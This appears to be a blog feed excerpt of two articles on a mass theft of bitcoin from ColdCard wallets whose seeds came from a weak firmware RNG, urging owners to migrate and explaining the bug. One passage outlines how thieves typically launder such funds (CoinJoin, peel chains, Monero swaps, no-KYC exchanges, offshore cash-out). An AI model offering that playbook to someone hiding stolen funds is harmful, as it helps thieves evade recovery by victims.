    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The attacker broadcasts that hex to any Bitcoin node (mempool.space, their own node, Electrum, etc.). The protocol does not ask where the key came from; it only checks whether the signature satisfies the script. If the signature is valid, the network includes the transaction in the next block and the UTXO changes owner.</p>
<p>In the real attack, this was done 1,195 times in 41 minutes, all with the same script, the same fee rate, and the same balance-sorted logic.</p>
<h2>What this bug class means<span class="hx:absolute hx:-mt-20" id="what-this-bug-class-means"></span>
    <a href="#what-this-bug-class-means" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>This is not an attack on the elliptic curve, SHA-256, BIP39, or Bitcoin. It is an attack on <strong>entropy</strong>. The manufacturer reduced the key space, and the protocol simply accepted the signatures that came out of that smaller space.</p>
<p>Three lessons:</p>
<ol>
<li><strong>Do not trust the appearance of randomness.</strong> Yasmarang&rsquo;s output passes simple statistical tests and looks random. But if the initial state is predictable, the entire sequence is predictable.</li>
<li><strong>Hashing does not create entropy.</strong> Passing 40 bits of input through SHA-256 twice yields a nice, uniform hash, but there are still at most <code>2^40</code> possible hashes. The attacker enumerates inputs, not hashes.</li>
<li><strong>The blockchain is public and permanent.</strong> A vulnerable wallet can sit quietly for years until someone connects the dots. On the day the attack is published, every UTXO in that key space becomes a target.</li>
</ol>
<h2>Can the attacker be caught?<span class="hx:absolute hx:-mt-20" id="can-the-attacker-be-caught"></span>
    <a href="#can-the-attacker-be-caught" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Whenever a cryptocurrency theft reaches this scale, one question keeps coming up: &ldquo;can the person be traced?&rdquo;. The short answer is: <strong>maybe, but it is not trivial</strong>, and tracing is not the same as recovering the bitcoins.</p>
<p>Clay Garrett, who is among the people investigating the case, published <a href="https://x.com/clay_garrett/status/2083247006139503065"target="_blank" rel="noopener">a thread on X</a> claiming that his team identified an unusual sweep pattern. According to the thread, the attack operator allegedly used a paid account at a well-known blockchain-services provider to query the source addresses and related activity during the sweeps. The provider&rsquo;s logs allegedly matched, with &ldquo;extraordinary specificity,&rdquo; the number, timing, and sequence of requests. The provider, Garrett says, was only delivering normal services; the requests themselves did not reveal their purpose.</p>
<p>What this means, <strong>if confirmed</strong>:</p>
<ul>
<li>A blockchain-services provider usually requires an account, and often payment. That can leave traces: email, payment method, IP address, access times, API usage patterns.</li>
<li>If the account was KYC&rsquo;d, the chance of identifying a person rises sharply. If payment was made with cryptocurrency, an anonymous voucher, or a third-party card, the link weakens.</li>
<li>Even with an IP or email, the operator may have used a VPN, Tor, disposable cloud compute, or a stolen identity. Each extra layer reduces the chance of reaching the real person.</li>
<li>The funds, as far as is known, have not yet been moved to mixers or exchanges. While they remain stationary, there is a window for freezing or judicial recovery. Once they are swapped, mixed, or converted to offshore fiat, asset recovery becomes drastically harder.</li>
</ul>
<p>So the thread points to a promising line of investigation, but <strong>it is an ongoing allegation</strong>, not a concluded proof. Catching the operator depends on how much they exposed through third-party services, the quality of the logs, jurisdiction, and how fast authorities act. Recovering the bitcoins depends on where the coins are when that happens. The two are related, but they are not the same thing.</p>
<h2>What the attacker has not done yet<span class="hx:absolute hx:-mt-20" id="what-the-attacker-has-not-done-yet"></span>
    <a href="#what-the-attacker-has-not-done-yet" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>So far, the operation has been technically competent at the attack but amateurish at the escape. The ~1,128 BTC stolen are sitting in known consolidation addresses, with no mixer, no coinjoin, no follow-up movement. That is unusual for a theft of this size and worth attention, because it determines what is still recoverable.</p>
<h3>What a mixer is, and why it has not been used<span class="hx:absolute hx:-mt-20" id="what-a-mixer-is-and-why-it-has-not-been-used"></span>
    <a href="#what-a-mixer-is-and-why-it-has-not-been-used" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>A <strong>mixer</strong> (or <strong>tumbler</strong>) is a service that takes bitcoins from many people, shuffles the amounts inside a single transaction or a series of transactions, and returns equivalent bitcoins to fresh addresses. The goal is to break the public chain of &ldquo;where it came from.&rdquo;</p>
<p>The classic model is <strong>CoinJoin</strong>: several participants jointly sign a transaction with many inputs and many outputs of the same size. An outside observer sees the money go in but cannot tell which output belongs to whom. Tools like <strong>Wasabi Wallet</strong> and <strong>Samourai Wallet</strong> implement CoinJoin automatically. Samourai even offered a service called <strong>Whirlpool</strong>, where UTXOs go through remix rounds that make tracing even harder.</p>
<p>Another model is the centralized mixer: you send bitcoins to a service address and receive them back from a different pool, minus a fee. Services like <strong>Bitcoin Fog</strong> and <strong>Helix</strong> historically worked this way. The difference from CoinJoin is that you must trust the mixer operator — and several of those operators were arrested precisely because investigators could link deposits to withdrawals.</p>
<p>In the ColdCard theft, none of these techniques has appeared yet. The bitcoins moved from the victims&rsquo; wallets into three large clusters and have not moved since. That can mean several things:</p>
<ol>
<li><strong>The attacker is still getting ready.</strong> Stealing 1,128 BTC in 41 minutes is one thing; laundering 1,128 BTC without leaving a trace is another. Setting up an anonymization pipeline takes time, costs money, and requires pre-established accounts.</li>
<li><strong>The attacker did not expect this much visibility.</strong> Once the press and blockchain analysts start tracking addresses in real time, any immediate movement becomes news. Leaving the funds still is a way to wait for the noise to die down.</li>
<li><strong>The attacker may be negotiating a recovery.</strong> Large thefts sometimes end in settlements, with part of the funds returned in exchange for the thief&rsquo;s anonymity.</li>
</ol>
<h3>How one normally hides a haul like this<span class="hx:absolute hx:-mt-20" id="how-one-normally-hides-a-haul-like-this"></span>
    <a href="#how-one-normally-hides-a-haul-like-this" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>If the operator really wants to make tracing difficult, the standard playbook involves several layers:</p>
<ol>
<li><strong>CoinJoin rounds.</strong> The attacker splits the funds into standardized amounts and runs them through multiple CoinJoin rounds. After a few rounds the graph stops being a tree and becomes a web, making attribution hard.</li>
<li><strong>Peel chain.</strong> Instead of sending everything at once, the operator moves small slices across dozens or hundreds of intermediate addresses, like peeling an onion. Each address forwards most of the value to the next one and a tiny fraction to a final destination.</li>
<li><strong>Instant swaps and bridges.</strong> Swapping Bitcoin for Monero on a decentralized exchange or bridge is a common path: Monero hides sender, recipient, and amount. After a few Monero transactions, the attacker can swap back into Bitcoin at fresh addresses.</li>
<li><strong>Weak-KYC or no-KYC exchanges.</strong> Depositing into exchanges that do not require identification, or that accept third-party accounts, lets the attacker convert into stablecoins, fiat, or other cryptocurrencies. Even with KYC, bought accounts or money mules help create distance.</li>
<li><strong>Offshore fiat.</strong> The final stage is turning the asset into real cash outside jurisdictions that cooperate with investigations. Unregulated exchanges, Bitcoin ATMs, prepaid cards, and accounts in tax havens fit here.</li>
</ol>
<p>None of these layers makes tracing impossible, but each raises the cost. A well-funded investigation can still follow clues: fees paid by an exchange, timing patterns, change addresses, value matches. The problem is that the more layers there are, the more time it takes — and the more time passes, the lower the chance of freezing the funds before they are spent.</p>
<h3>Why this matters now<span class="hx:absolute hx:-mt-20" id="why-this-matters-now"></span>
    <a href="#why-this-matters-now" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The fact that the bitcoins are still in the consolidation addresses means the recovery window is still theoretically open. Law enforcement and private investigators can monitor those addresses, request freezes at exchanges, and pressure blockchain-service providers. If the attacker sends even a single satoshi to a known mixer, alarms go off.</p>
<p>But that window closes as soon as the funds enter an anonymization pipeline. After a proper CoinJoin, a Monero swap, and a network of peel chains, the question stops being &ldquo;where is the money?&rdquo; and becomes &ldquo;who can we arrest?&rdquo;. Recovering the asset becomes technically infeasible for most victims.</p>
<p>In other words, the attacker has already won the first battle — finding and stealing the keys. The second battle, cashing out anonymously, is the one that usually separates big-wallet thieves from thieves who end up in prison.</p>
<h2>Conclusion<span class="hx:absolute hx:-mt-20" id="conclusion"></span>
    <a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If you still have funds in a seed generated by vulnerable ColdCard firmware, the risk is not theoretical. The blockchain already shows hundreds of addresses being emptied by someone who reproduced the broken RNG.</p>
<p>The ColdCard does not hold your bitcoins. It held the key. The key was born weak. Whoever has a copy of the same key — obtained by enumerating states of a PRNG — can sign transactions on your behalf, without ever having touched the device.</p>
<p>The only defense is to move the funds to a new seed, generated by corrected firmware or, better, by a process that combines independent entropy sources (casino-grade dice, a different manufacturer&rsquo;s TRNG, an offline host). And test recovery before sending meaningful value.</p>
<p>Do not trust a company, certification, influencer, or article. Not even this one. Verify.</p>
]]></content:encoded><category>bitcoin-and-cryptocurrency</category><category>security</category><category>hardware</category></item><item><title>URGENT - If You Keep Bitcoin on a ColdCard: MOVE EVERYTHING</title><link>https://www.akitaonrails.com/en/2026/07/31/urgent-if-you-keep-bitcoin-on-a-coldcard-move-everything/</link><guid isPermaLink="true">https://www.akitaonrails.com/en/2026/07/31/urgent-if-you-keep-bitcoin-on-a-coldcard-move-everything/</guid><pubDate>Fri, 31 Jul 2026 23:00:00 -0300</pubDate><description>&lt;p&gt;I use ColdCard. Or rather, I used that old ColdCard to store part of my bitcoin. I have already moved everything that was on it to a new wallet. If your seed was generated on a ColdCard since March 2021 and you cannot prove it came from safe firmware or enough external entropy, stop reading, take inventory, and get ready to move too.&lt;/p&gt;
&lt;p&gt;I am not exaggerating for a clickbait headline. On July 29, transactions started sweeping user wallets. One consolidation address &lt;a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener"&gt;received 594.47723261 BTC across 501 outputs&lt;/a&gt;. That is public blockchain data, not a Telegram screenshot. Issue 416 of &lt;a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener"&gt;Bitcoin Optech&lt;/a&gt;, published while the case was still unfolding, already estimated losses above &lt;strong&gt;1,000 BTC&lt;/strong&gt;.&lt;/p&gt;</description><content:encoded><![CDATA[<p>I use ColdCard. Or rather, I used that old ColdCard to store part of my bitcoin. I have already moved everything that was on it to a new wallet. If your seed was generated on a ColdCard since March 2021 and you cannot prove it came from safe firmware or enough external entropy, stop reading, take inventory, and get ready to move too.</p>
<p>I am not exaggerating for a clickbait headline. On July 29, transactions started sweeping user wallets. One consolidation address <a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener">received 594.47723261 BTC across 501 outputs</a>. That is public blockchain data, not a Telegram screenshot. Issue 416 of <a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener">Bitcoin Optech</a>, published while the case was still unfolding, already estimated losses above <strong>1,000 BTC</strong>.</p>
<p>The exact number will still change. The 594 BTC cluster is directly observable; attributing every input to the same vulnerability and closing the global total requires more analysis. But the combination of victim reports, the sweep pattern, reproduction of the bug, and Coinkite&rsquo;s own admission is strong enough. Waiting for a pretty forensic report while a vulnerable seed keeps receiving funds is a terrible strategy.</p>
<blockquote>
  <p>Do not panic and type your 24 words into the first website that promises to &ldquo;check your ColdCard&rdquo; either. That is the other, much easier way to lose everything. A seed never goes into a website, chat, browser extension, or online computer. First understand whether you were affected. Then migrate calmly, verifying the address on the screen of a trusted signer.</p>

</blockquote>
<h2>Who needs to act now<span class="hx:absolute hx:-mt-20" id="who-needs-to-act-now"></span>
    <a href="#who-needs-to-act-now" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The vulnerability is in <strong>seed generation</strong>. What matters is the model and firmware used on the day those words were created, not the firmware installed today or where you imported the seed afterward.</p>
<blockquote>
  <p><strong>In practice: if you own any ColdCard, move the funds to a wallet derived from a completely new seed. Better to err on the side of caution.</strong> The ranges below show where the bug has already been confirmed; they are no reason to bet your life savings on the assumption that everything else is perfect. Updating the device does not repair the old seed.</p>

</blockquote>
<p>According to <a href="https://blog.coinkite.com/coldcard-mk3-seed-generation-warning/"target="_blank" rel="noopener">Coinkite&rsquo;s advisory</a> and <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block&rsquo;s independent analysis</a>, treat as compromised any seed generated under these conditions:</p>
<table>
  <thead>
      <tr>
          <th>Device</th>
          <th>Firmware that generated the seed</th>
          <th>Status</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Mk2</td>
          <td>4.0.0 through 4.1.9, according to Block</td>
          <td>Vulnerable. Migrate the seed and retire the device as a generator.</td>
      </tr>
      <tr>
          <td>Mk3</td>
          <td>4.0.1 through 4.1.9 in Coinkite&rsquo;s advisory; Block includes 4.0.0</td>
          <td>Vulnerable. Install 4.2.0 or later before generating another seed.</td>
      </tr>
      <tr>
          <td>Mk4 / Mk5 Standard</td>
          <td>Earlier than 5.6.0</td>
          <td>Affected. Update before generating another seed.</td>
      </tr>
      <tr>
          <td>Mk4 / Mk5 Edge</td>
          <td>Earlier than 6.6.0X</td>
          <td>Affected. Edge is a separate release track.</td>
      </tr>
      <tr>
          <td>Q Standard</td>
          <td>Earlier than 1.5.0Q</td>
          <td>Affected.</td>
      </tr>
      <tr>
          <td>Q Edge</td>
          <td>Earlier than 6.6.0QX</td>
          <td>Affected.</td>
      </tr>
  </tbody>
</table>
<p>Block includes the Mk2 running 4.x firmware in the same regression as the Mk3 and starts the vulnerable range for both at 4.0.0. Coinkite focused its advisory on the Mk3, starting at 4.0.1, and on current models. I would treat the entire 4.x line through 4.1.9 as compromised on both. If you own an Mk2, do not take comfort from its absence in the advisory headline.</p>
<p>There is one important exception: anyone who added at least <strong>50 fair, independent, and private die rolls</strong> during the original setup theoretically preserved at least 128 bits from an outside source. Coinkite itself says those seeds are not at risk from <strong>this bug alone</strong>. If you do not remember exactly how many rolls you made, which flow you used, or whether those results remained private, assume you did not do it.</p>
<p>A seed imported from another generator was not born from this defective RNG either. It may have other problems, of course, but not this one. Updating firmware now cannot travel back in time and repair any words. You must create a new seed and transfer the UTXOs to addresses derived from it.</p>
<blockquote>
  <p><strong>Restoring the same 24 words on a Trezor, Ledger, SeedSigner, or any other device is NOT a migration. You are still in danger.</strong> The hardware changed; the root and the entire universe of derived private keys remain the same. Another derivation path may display different addresses, but it adds no entropy. If the ColdCard generated that wallet using the weak RNG, importing its seed into another signer merely teaches the new device to reproduce the same vulnerable keys. Create a completely new wallet with new entropy, then make an on-chain transaction that moves the funds from the old wallet to addresses in the new one.</p>

</blockquote>
<p>I would do this even with a strong passphrase. The passphrase may have placed an independent barrier in front of the attacker, but Coinkite itself recommends migrating. After a failure of this magnitude, calculating the minimum theoretically acceptable risk is saving money in the wrong place.</p>
<h2>The bug: <code>#ifndef</code> does not mean &ldquo;if true&rdquo;<span class="hx:absolute hx:-mt-20" id="the-bug-ifndef-does-not-mean-if-true"></span>
    <a href="#the-bug-ifndef-does-not-mean-if-true" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Coinkite&rsquo;s <a href="https://blog.coinkite.com/entropy-technical-backgrounder/"target="_blank" rel="noopener">technical postmortem</a> is an embarrassing read.</p>
<p>In March 2021, the firmware replaced <code>ckcc.rng_bytes()</code> with <code>ngu.random.bytes()</code> during its migration to libNgU and the <code>libsecp256k1</code> used by Bitcoin Core. The library choice was good. The integration was disastrous.</p>
<p>The build code defined:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#define MICROPY_HW_ENABLE_RNG (0)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>But the guard in libNgU checked this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#ifndef MICROPY_HW_ENABLE_RNG
</span></span></span><span class="line"><span class="cl"><span class="cp">#error &#34;get a HW TRNG plz&#34;
</span></span></span><span class="line"><span class="cl"><span class="cp">#endif</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>#ifndef</code> asks whether the symbol exists, not whether its value is nonzero. The symbol existed. The build passed. In the final resolution, <code>rng_get()</code> pointed to MicroPython&rsquo;s software fallback, a deterministic PRNG called Yasmarang, initialized with the microcontroller UID and timing registers. A UID identifies a chip. A clock measures time. Neither is a cryptographic source of randomness.</p>
<p>Worse, the correct TRNG implementation was inside the binary. Previous reviews looked at it and concluded everything was fine, but nobody verified the complete path between &ldquo;create new wallet&rdquo; and the symbol actually called in the executable. There was no integration test that failed when the seed came from the wrong generator.</p>
<p>On the Mk3, Coinkite&rsquo;s preliminary estimate is around <strong>40 bits of effective entropy</strong>, instead of the minimum 128 bits expected. On the Mk4, Q, and Mk5, values from the secure elements entered as a second layer, and the company estimates approximately <strong>72 bits</strong>. Block&rsquo;s analysis is harsher: only 32 bits of material from the secure elements reached the PRNG state during that reseed. The threat models and estimates are not identical. None comes close to the target.</p>
<p>Passing bad output through SHA-256 does not create entropy. If only <code>2^40</code> inputs exist, at most <code>2^40</code> possible hashes exist. They look nice and uniform and remain enumerable.</p>
<p>This sat on the most important path in the product for more than five years.</p>
<h2>How a 120-file rewrite got us here<span class="hx:absolute hx:-mt-20" id="how-a-120-file-rewrite-got-us-here"></span>
    <a href="#how-a-120-file-rewrite-got-us-here" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://x.com/zherbert/status/2082993276324319713"target="_blank" rel="noopener">Zach Herbert published a timeline</a> worth summarizing. He is a Foundation cofounder, Passport manufacturer, and Coinkite competitor, so read the interpretation with that context. The dates and commits, however, can be verified.</p>
<p>In July 2020, Foundation announced that its first Passport would build on ColdCard&rsquo;s GPLv3 firmware. Two days later, NVK publicly complained about the &ldquo;clone&rdquo; and said he would change the license. In November, ColdCard added MIT plus the Commons Clause, which left the code visible but restricted derivative commercial products. In January 2021, the change formally appeared in firmware 3.2.1.</p>
<p>On March 1 came the <code>First pass w/ libNgU</code> commit: 120 files changed, removal of GPL-covered libraries derived from Trezor, replacement of the cryptographic stack, and a change to seed generation. On March 17, version 4.0.0 announced the removal of the last GPL code.</p>
<p>There is no way to prove how much of the haste or scope came from the license dispute. The timeline itself acknowledges other legitimate goals: adopting <code>libsecp256k1</code>, accelerating AES/SHA, and enabling reproducible builds. The concrete fact is simpler: the bug entered in that same massive commit, and the product went five years without an end-to-end test of its most critical path.</p>
<p>That is engineering incompetence. A hardware wallet can have a secure element, sealed packaging, an air gap, and a website full of explanations about sovereignty. If the function that creates the key calls the wrong RNG and nobody tests it for five years, everything else is theater.</p>
<h2>This was a white swan, not a black swan<span class="hx:absolute hx:-mt-20" id="this-was-a-white-swan-not-a-black-swan"></span>
    <a href="#this-was-a-white-swan-not-a-black-swan" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I have already seen people call this a &ldquo;black swan,&rdquo; as though a cosmic alignment of unforeseeable events had struck Coinkite. It was not.</p>
<p>The vulnerable code had been visible in the repository since March 2021. The commit was enormous, but not secret. The deterministic fallback was in a public submodule. The macro defined as zero was in the board configuration. The incorrect <code>#ifndef</code> was in the integration. What was missing was following the seed-generation call all the way to the symbol resolved in the binary and writing a test that proved where its entropy came from.</p>
<p>A black swan is rare, surprising, and only looks obvious afterward. This was a <strong>white swan</strong>: a known risk in the most sensitive category of the product, with an observable cause and a predictable consequence. Nobody knew the exact day someone would connect the dots and sweep the wallets. The bomb, however, had been assembled and ticking in public for five years.</p>
<p>And Coinkite helped reduce the number of people willing to defuse it.</p>
<p>In 2021, Marko Bencun from Shift/BitBox and Hugo Nguyen from Nunchuk <a href="https://blog.bitbox.swiss/en/remote-multisig-theft-attack-on-the-coldcard-hardware-wallet/"target="_blank" rel="noopener">responsibly disclosed a critical multisig flaw</a>. Coinkite fixed the code, but its release notes did not say it was a vulnerability or communicate any urgency. Bencun&rsquo;s bounty request was ignored. The company published a more explicit warning only after the researcher released the details.</p>
<p>The <a href="https://coinkite.com/responsible-disclosure"target="_blank" rel="noopener">current responsible disclosure policy</a> still leaves reward amount, eligibility, and timing to the company&rsquo;s discretion. Researchers working for competitors or well-funded labs are not eligible for a bounty. The page even throws in &ldquo;we are not here to make it easy for you,&rdquo; as if antagonizing people who audit your vault demonstrated personality.</p>
<p>Zach Herbert also <a href="https://www.zherbert.com/an-open-letter-to-nvk-and-coldcard/"target="_blank" rel="noopener">documented NVK&rsquo;s public attacks</a> on Foundation after it used ColdCard&rsquo;s GPL code: &ldquo;pure clone,&rdquo; &ldquo;leeches,&rdquo; and &ldquo;affinity scamming.&rdquo; Herbert is a competitor with an interest in the dispute, but the posts and screenshots exist. My opinion of NVK as a CEO is now terrible. He cultivated hostility toward the manufacturers and researchers who had the knowledge and technical incentive to review his product.</p>
<p>I do not need to claim that every researcher abandoned Coinkite. Just look at the incentives. A competent white hat can spend weeks dismantling firmware. If a company minimizes findings, ignores bounties, treats competitors as enemies, and reserves the right to decide when something deserves credit, that researcher works on another product. Open code permits auditing; it does not force anyone to audit for free for a company that treats them badly.</p>
<p>So this was not one-in-a-billion bad luck. It was a self-fulfilling prophecy. Extreme negligence accumulated risk until someone exploited it. When the bomb went off, it did not erase a number in a Coinkite spreadsheet. It took real bitcoin that, for some victims, represented years of savings or their life&rsquo;s savings.</p>
<h2>No, &ldquo;AI broke Bitcoin&rdquo; my ass<span class="hx:absolute hx:-mt-20" id="no-ai-broke-bitcoin-my-ass"></span>
    <a href="#no-ai-broke-bitcoin-my-ass" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Coinkite wrote that, because the firmware was public, &ldquo;we have to assume&rdquo; someone used AI to review old versions and found the bug. It provided no evidence. In the next paragraph, it admits that weeks earlier it had used one of the best available models to review the same code, and the model found nothing serious.</p>
<p>NVK later published <a href="https://x.com/nvk/status/2083216713693151552"target="_blank" rel="noopener">an apology on Coinkite&rsquo;s behalf</a>. He took responsibility for the bug, told every ColdCard owner to move their funds, acknowledged that new firmware cannot repair an old seed, and said the company would have to earn back its users&rsquo; trust. That is the bare minimum, but it matters that he said it.</p>
<p>The problem is that he ended by trying to turn the disaster into &ldquo;a sober reality of the new AI paradigm,&rdquo; arguing that AI-assisted review can now find old bugs faster than seasoned experts. No. This has fuck all to do with AI. The bug was basic, visible in the code for five years, and sat in the most important function of a hardware wallet. NVK was lucky it took this long.</p>
<p>Do not shift the blame to AI-assisted code review to justify piss-poor code. AI may have helped someone locate or exploit the flaw. AI did not write that <code>#ifndef</code>, disable the TRNG, approve the 120-file rewrite, or spend five years without an end-to-end test of seed generation. Coinkite did all of that.</p>
<p>After disclosure, researchers reproduced the flaw with the help of frontier models. Great. That shows AI can accelerate auditing and exploitation after someone points to where they should dig. It does not mean an AI broke ECDSA, <code>secp256k1</code>, SHA-256, BIP39, or Bitcoin.</p>
<p>The attacker enumerated a keyspace that a manufacturer had reduced from at least 128 bits to something around 40. This is brute force against predictable numbers. The Bitcoin protocol did exactly what it should: it accepted valid signatures produced by the correct private keys.</p>
<p>AI did not break Bitcoin. Coinkite left a basic regression untested at the heart of its firmware for five years. Blaming the tool that may have helped someone read the code is a convenient way to change the subject.</p>
<h2>What a wallet actually stores<span class="hx:absolute hx:-mt-20" id="what-a-wallet-actually-stores"></span>
    <a href="#what-a-wallet-actually-stores" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Bitcoin does not sit &ldquo;inside&rdquo; a ColdCard, Ledger, or Sparrow file. The blockchain contains UTXOs locked by scripts. Your wallet stores the material needed to find those UTXOs and produce signatures that satisfy the scripts.</p>
<p>At the most basic level, a private key is an integer chosen within the domain of the <code>secp256k1</code> curve. The public key is a point calculated from it. That path is easy to compute forward and infeasible to reverse with known computing power. Addresses are representations derived from public keys and scripts, not vaults where coins live.</p>
<p>I explained this foundation more carefully in <a href="/2019/11/21/akitando-67-entendendo-conceitos-basicos-de-criptografia-parte-1-2/">[Akitando #67] Understanding Basic Cryptography Concepts - Part 1</a> and <a href="/2019/11/26/akitando-68-entendendo-conceitos-basicos-de-criptografia-parte-2-2/">[Akitando #68] Understanding Basic Cryptography Concepts - Part 2</a>.</p>
<p>A modern wallet does not draw an independent key for each address. It starts with a root and uses <a href="https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki"target="_blank" rel="noopener">BIP32</a> to derive a deterministic tree of keys: accounts, receiving addresses, change, and so on. A backup of the root recovers the entire tree.</p>
<p><a href="https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki"target="_blank" rel="noopener">BIP39</a> is the layer that turns binary entropy into readable words and then converts the mnemonic plus a passphrase into a 512-bit binary seed used by BIP32. The words are a human-readable way to carry computer-generated randomness. The specification explicitly warns that it is not a method for inventing a nice phrase in your own head.</p>
<h2>Twelve or 24 words is the wrong question<span class="hx:absolute hx:-mt-20" id="twelve-or-24-words-is-the-wrong-question"></span>
    <a href="#twelve-or-24-words-is-the-wrong-question" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A 12-word mnemonic encodes 128 bits of entropy plus a 4-bit checksum. A 24-word mnemonic encodes 256 bits plus an 8-bit checksum. Under normal conditions, 128 bits is already beyond brute-force reach.</p>
<p>But &ldquo;24 words&rdquo; does not guarantee that 256 real bits existed at the input. Vulnerable firmware could produce a perfectly valid sequence of 24 words, correct checksum and all, from an effective space of approximately 40 bits. The attacker does not need to try every possible word combination. They reproduce plausible states of the broken RNG and compare the derived addresses.</p>
<p>That is why the 12-versus-24 argument misses the point. Representation length cannot rescue a predictable source. A UUID printed in gold lettering remains predictable if someone called <code>rand()</code> with a timestamp.</p>
<h2>RNG, TRNG, and independent sources<span class="hx:absolute hx:-mt-20" id="rng-trng-and-independent-sources"></span>
    <a href="#rng-trng-and-independent-sources" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>RNG is the generic term for a random number generator. A PRNG takes an initial state, the seed, and expands it into a deterministic sequence. A properly designed CSPRNG remains safe as long as the initial state contains enough entropy and the algorithm does not leak that state.</p>
<p>A TRNG tries to harvest randomness from physical phenomena: electronic noise, oscillator jitter, and similar sources. <a href="https://support.ledger.com/article/4415198323089-zd"target="_blank" rel="noopener">Ledger explains its process</a> as a TRNG inside the Secure Element generating 256 bits, which BIP39 translates into 24 words. The company says an external lab tests that generator and certifies it under AIS-31. That is much better than a timer plus serial number, but it remains one source and one implementation you have chosen to trust.</p>
<p>Other projects prefer to combine sources. <a href="https://trezor.io/guides/trezor-devices/trezor-fundamentals/what-is-entropy-and-how-does-trezor-generate-your-wallet"target="_blank" rel="noopener">Trezor uses entropy from the device and host</a>. <a href="https://bitbox.swiss/bitbox02/security-features/"target="_blank" rel="noopener">BitBox02 documents five sources</a>: the secure chip TRNG, the microcontroller TRNG, a unique value installed at the factory, entropy supplied by the host, and a hash of the device password.</p>
<p>The word that matters here is <strong>independence</strong>. Two PRNGs initialized from the same clock are not two sources. Two values that come from the same secure element do not buy the independence the diagram implies either. Independent sources, combined through a correct cryptographic construction, keep the result strong even when some of them fail.</p>
<p>And &ldquo;combined correctly&rdquo; carries half the security in that sentence. XOR, hashes, and extractors have specific properties. Do not invent your own mixer in half an hour and put your net worth on top of it. Use a reviewed implementation with test vectors, and verify that the binary you execute actually calls that code. I think the reason is now obvious.</p>
<h2>Rolling dice is not that simple<span class="hx:absolute hx:-mt-20" id="rolling-dice-is-not-that-simple"></span>
